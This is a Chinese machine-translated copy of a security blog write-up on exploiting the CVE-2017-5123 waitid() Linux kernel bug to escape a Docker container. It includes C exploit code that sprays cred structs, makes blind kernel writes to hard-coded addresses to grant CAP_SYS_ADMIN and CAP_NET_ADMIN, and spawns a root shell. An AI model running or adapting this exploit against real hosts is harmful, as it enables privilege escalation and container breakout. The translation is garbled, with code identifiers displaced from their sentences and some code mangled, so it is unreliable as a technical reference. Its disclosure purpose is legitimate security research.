使用waitid()转义Docker容器 – CVE-2017-5123

这篇文章描述了我是如何利用这个漏洞来修改Docker容器的Linux功能以获得更高的权限,并最终逃离容器监狱的。waitid()

但在我们潜入之前,由于一张图片胜过千言万语,这里是我的行动利用。它修改了存储器中的集装箱化过程能力结构,从而获得了收益CAP_SYS_ADMIN和CAP_NET_ADMIN能力。这样可以在eth0(容器的码头桥)上启用混杂模式:

YouTube

请注意,我已关闭记录,但它也适用于我们可以通过使用相同的漏洞找到内核基地和堆基地。 Kernel ASLRKASLR

CVE-2017-5123于今年10月12日发布 – 这是4.12-4.13内核版本的waitid()系统调用中的一个Linux内核漏洞。的系统调用定义为:waitid()

int waitid (idtype_t idtype ,id_t id ,siginfo_t * infop ,int options );

该漏洞允许攻击者将部分受控的数据写入他选择的内核内存地址。内核内存地址可以作为infop上面的指针提供。指针指向如下所述。在这个结构中我们可以控制几个变量,具体来说struct siginfopid和status。
正如你在下面看到的,控制是相当间接的。

struct siginfo {
    int si_signo;
    int si_errno;
    int si_code;
    int padding;   // this remains unchanged by waitid
    int pid;       // process id
    int uid;       // user id
    int status;    // return code
}

大部分值不能由我们控制或它们的大小为我们的需求是有限的,但是我们可以控制pid通过的帮助下创造了很多的价值的过程或者直到我们达到想要的值。但是,我们受限于系统的值,默认情况下这个值等于十六进制。fork()clone()pidPID_MAX327680x8000
注意:在非容器化的环境中,我们可以在将我们的值更改uid为0并获得root权限之后提升此数字,因为我们可以修改为任意数字。/proc/sys/kernel/pid_max

Linux功能

在本节中,我将重点介绍Linux功能 – 它们是什么,Docker如何使用它们,以及它们在内存中的表示方式。

下面的代码片段取自linux / cred.h,并且是每个进程具有的凭证结构的定义:

struct cred {
    atomic_t    usage;
#ifdef CONFIG_DEBUG_CREDENTIALS
    atomic_t    subscribers;    /* number of processes subscribed */
    void        *put_addr;
    unsigned    magic;
#define CRED_MAGIC    0x43736564
#define CRED_MAGIC_DEAD    0x44656144
#endif
    kuid_t        uid;        /* real UID of the task */
    kgid_t        gid;        /* real GID of the task */
    kuid_t        suid;        /* saved UID of the task */
    kgid_t        sgid;        /* saved GID of the task */
    kuid_t        euid;        /* effective UID of the task */
    kgid_t        egid;        /* effective GID of the task */
    kuid_t        fsuid;        /* UID for VFS ops */
    Kgid_t    fsgid; /* GID for VFS ops */
    Unsigned    securebits; /* SUID-less security management */
    Kernel_cap_t    cap_inheritable; /* caps our children can inherit */
    Kernel_cap_t    cap_permitted;    /* caps we're permitted */
    Kernel_cap_t    cap_effective;    /* caps we can actually use */
    Kernel_cap_t    cap_bset; /* capability bounding set */
    kernel_cap_t    cap_ambient; /* Ambient capability set */

人的能力:

从内核2.2开始,Linux将传统上与超级用户关联的权限划分为不同的单位,称为功能,可以独立启用和禁用。
功能是每个线程属性。
Linux功能存储在每个进程内部,并由一个位掩码表示。例如,启用的所有大小将由位掩码表示。cred struct0xFFFFFFFFFFFFFFFF

每个功能都提供了一组不同的权限,例如:

CAP_SYS_MODULE – 允许加载和卸载内核模块。

CAP_NET_ADMIN – 允许进行各种网络操作。例如进入混杂模式,接口配置等等。

CAP_SYS_ADMIN – 启用一系列系统管理操作,例如quotactl,mount,umount,swapon,setdomainname,ptrace等等(这个限制给出了最多的权限,并且重载了其他权限)。

你可以在这里找到完整的CAPS列表。

Docker使用功能来为容器提供更好的隔离。它只是放弃能够使容器逃生的功能。例如,您很少会看到上面提到的3个功能中的任何一个都是开箱即用的容器,因为如果容器可以访问网络接口并嗅探其他容器的流量,主机本身,或容器内的用户可以在主机上加载目录并加载内核模块。

尽管建立一个ROP链并呼吁为了充分发挥根的作用可能会更容易,但为了更多地了解堆喷洒技术,我决定采用盲目的开采方法,通过向内核堆喷洒数千个像Federico一样的。这个漏洞的缺点是,由于我们不能控制我们正在写的东西(我们被限制在0x8000),所以我们无法实现全部上限。commit_creds(0)struct creds0xFFFFFFFFFFFFFFFF

该漏洞

下面的代码片段取自kernel / exit.c,负责处理系统调用: waitid()

SYSCALL_DEFINE5(waitid, int, which, pid_t, upid, struct siginfo __user *,
        infop, int, options, struct rusage __user *, ru)
{
    struct rusage r;
    struct waitid_info info = {.status = 0};
    long err = kernel_waitid(which, upid, &info, options, ru ? &r : NULL);
    int signo = 0;

    if (err > 0) {
        signo = SIGCHLD;
        err = 0;
        if (ru && copy_to_user(ru, &r, sizeof(struct rusage)))
            return -EFAULT;
    }
    if (!infop)
        return err;

    if (!access_ok(VERIFY_WRITE, infop, sizeof(*infop)))
        return -EFAULT;

    user_access_begin();
    unsafe_put_user(signo, &infop->si_signo, Efault);
    unsafe_put_user(0, &infop->si_errno, Efault);
    unsafe_put_user(info.cause, &infop->si_code, Efault);
    unsafe_put_user(info.pid, &infop->si_pid, Efault);
    unsafe_put_user(info.uid, &infop->si_uid, Efault);
    unsafe_put_user(info.status, &infop->si_status, Efault);
    user_access_end();
    return err;
Efault:
    user_access_end();
    return -EFAULT;
}

这个漏洞在于,高亮的检查确保用户指定的指针实际上是一个用户空间指针,在系统调用中缺失。如果没有这个检查,用户可以提供一个内核地址指针,系统调用在执行的时候将会毫无异议的写入。 正如我们已经知道的那样 – 我们不能简单地写任何我们想要的东西,但是我们将不得不尽力在这些限制之内获得尽可能多的东西。access_ok()waitid()unsafe_put_user
Info.status是一个32位的int,但是状态的值被限制为我们可以在退出代码文档中看到的,正如我们已经知道的那样受到限制。 0 < status > 256pidMAX_PID

在这一点上,我们要的值写入的能力pid: < < 到任何地方,我们想要的。接下来的挑战是检测我们应该写的地方,以便成功覆盖所需的值。0 pid 0x8000

我们需要记住,系统调用每次执行时都会写6个不同的字段,因为会执行6次 unsafe_put_user()

所以我们需要考虑pid内部的偏移量,并使用它从我们想要写入的目标地址中减去该值,目标地址然后作为指针传递到系统调用。infop structwaitid()infop

我们使用这个漏洞的主要目标是覆盖Docker为我们设置的功能,从而获得额外的权限并逃离容器。

喷洒ñ祈祷

我决定采取一种类似于费德里科的方法,于是我开始喷洒数千个核心堆,然后开始猜测,写下不同的地址,并祈祷击中我的目标。struct creds

通过选择一个我们可以跟踪的值uid(我们可以跟踪)。 我们可以用一点点运气,找准我们的位置,在这之后,我们将能够写入特定的偏移量,以覆盖,,和其他任何我们想要的。 但为了做到这一点,我们需要找出实际的偏移量,我们将在以下的帮助下完成:getuid()
struct credcapabilitiesgideuid
gdb

正如我们所看到的,是在大小4个字节,因此,如果我们发现UID 比将在上面4个字节,并且将在这4 *为0x4 = 0×10字节我们上面地址,如下图所示。 kuid_t0xFFFF880023cc1004gid0xFFFF880023cc1008euid0xFFFF880023CC1014uid

所以基本上为了覆盖我们的大写,我们将不得不写信给: 注意:这些地址与我的系统相关,您的地址可能会有所不同。
address_of_uid+0x4*8 = address_of_uid+0x20 = address_of_cap_inheritable

为了找出我们的喷射位置cred structs可能落在堆中,我们将gdb再次使用并设置一个断点 sys_getuid,以便在我们的程序调用时断开。getuid()

断点之后的几步命令(在我的系统上花了5步)应该会显示寄存器中的地址。cred structRAX

我们可以重复这个过程来找到一些叉的结构,以便收集足够的地址并分析堆中最有可能的位置的统计信息struct cred

所以计划如下:

通过调用产生数千个进程,以便在内核堆中创建数千个进程,并使每个进程不断检查其UID == 0是否

  • 通过调用fork()cred structsgetuid()

  • 开始将值0写入可能登陆的地址 struct cred->uid

  • 如果当我们分叉的进程之一得到uid == 0时,这意味着我们已经uid用步骤2中的猜测成功地覆盖了这个值。现在我们可以覆盖其余部分,并通过写入我们确定的偏移量来改变上限。 cred struct

我们的肮脏的利用将会是:

void writecaps(char *addr,unsigned long value){
while(1) {
      int pid = clone(exit_func, &amp;new_stack[5000], CLONE_VM | SIGCHLD, NULL);
      if (!pid) {
        exit(0);
      }
      if (pid == value) {
        syscall(SYS_waitid, P_PID, pid, addr, WEXITED, NULL);
        break;
      }
}

void spraynpray(){
pid_t pid;
FILE *f;
char *argv[] = {"/bin/sh", NULL};
for (int i=0;i&lt;5000;i++)
{
    pid = fork();
    if (pid==0)
    { // child process
  while (1) {

    if (*glob_var==1) {
      syscall(SYS_exit, 0);
    }
    if (getuid() == 0){
        //FOUND!!
    printf("[+] Got UID: 0 !\n");
     *glob_var = 1;
     writecaps((char *)finalcapsaddress,value);
    printf("Done, spawning a shell \n");
    execve("/bin/sh", argv, NULL);
    }
}
    }

    else if(pid&lt;0)
    {
        printf("failed to fork");
    }

    else //parent process
    {

    }
}
}

void swapuid(){

    char* i,p;
    while(*glob_var!=1)
    {
    for(i = (char *)0xffff8800321b4004; ; i+=0xc0)
        {
        if(*glob_var==1)
            {
            break;
            }
        printf("trying %p\n",i);
        syscall(__NR_waitid, P_PID, 0,(siginfo_t *)i, WEXITED, NULL);
        sleep(1);
        }
    }
munmap(glob_var, sizeof *glob_var);
printf("Found uid on %p\n",i-0xc0);
sleep(10000);
}

int main(void)
{
    glob_var = mmap(NULL, sizeof *glob_var, PROT_READ | PROT_WRITE,
                    MAP_SHARED | MAP_ANONYMOUS, -1, 0);

    *glob_var = 0;

unsigned long* base = findbase();
    findheapbase();
    spraynpray();
    swapuid();
}

在分析了我的系统(Ubuntu 17.10,Kernel 4.13.0-15,arch x86-64)之后,我发现了一些看起来很可能会在约70%的执行中出现cred结构的领域,但是仍然存在机器崩溃的风险,因为我们可能会覆盖内核中重要的东西。


结论

仅在2017年,就有434个内核漏洞被发现,正如你在这篇文章中看到的那样,内核漏洞对于集装箱环境来说可能是毁灭性的。这是因为容器与主机共享相同的内核,因此单靠信任内置的保护机制是不够的。确保您的内核始终在所有生产主机上更新。

感谢您的阅读,不要忘记跟随我们@TwistlockLabs

Federico Bento指出一些事情和Chris Salls的Chrome沙盒逃脱漏洞,我的剥削很大程度上取决于他们的工作。

转载请注明出处:https://www.freearoot.com/index.php/%E4%BD%BF%E7%94%A8waitid%EF%BC%88%EF%BC%89%E8%BD%AC%E4%B9%89docker%E5%AE%B9%E5%99%A8-cve-2017-5123.html

文章来源:https://www.twistlock.com/2017/12/27/escaping-docker-container-using-waitid-cve-2017-5123/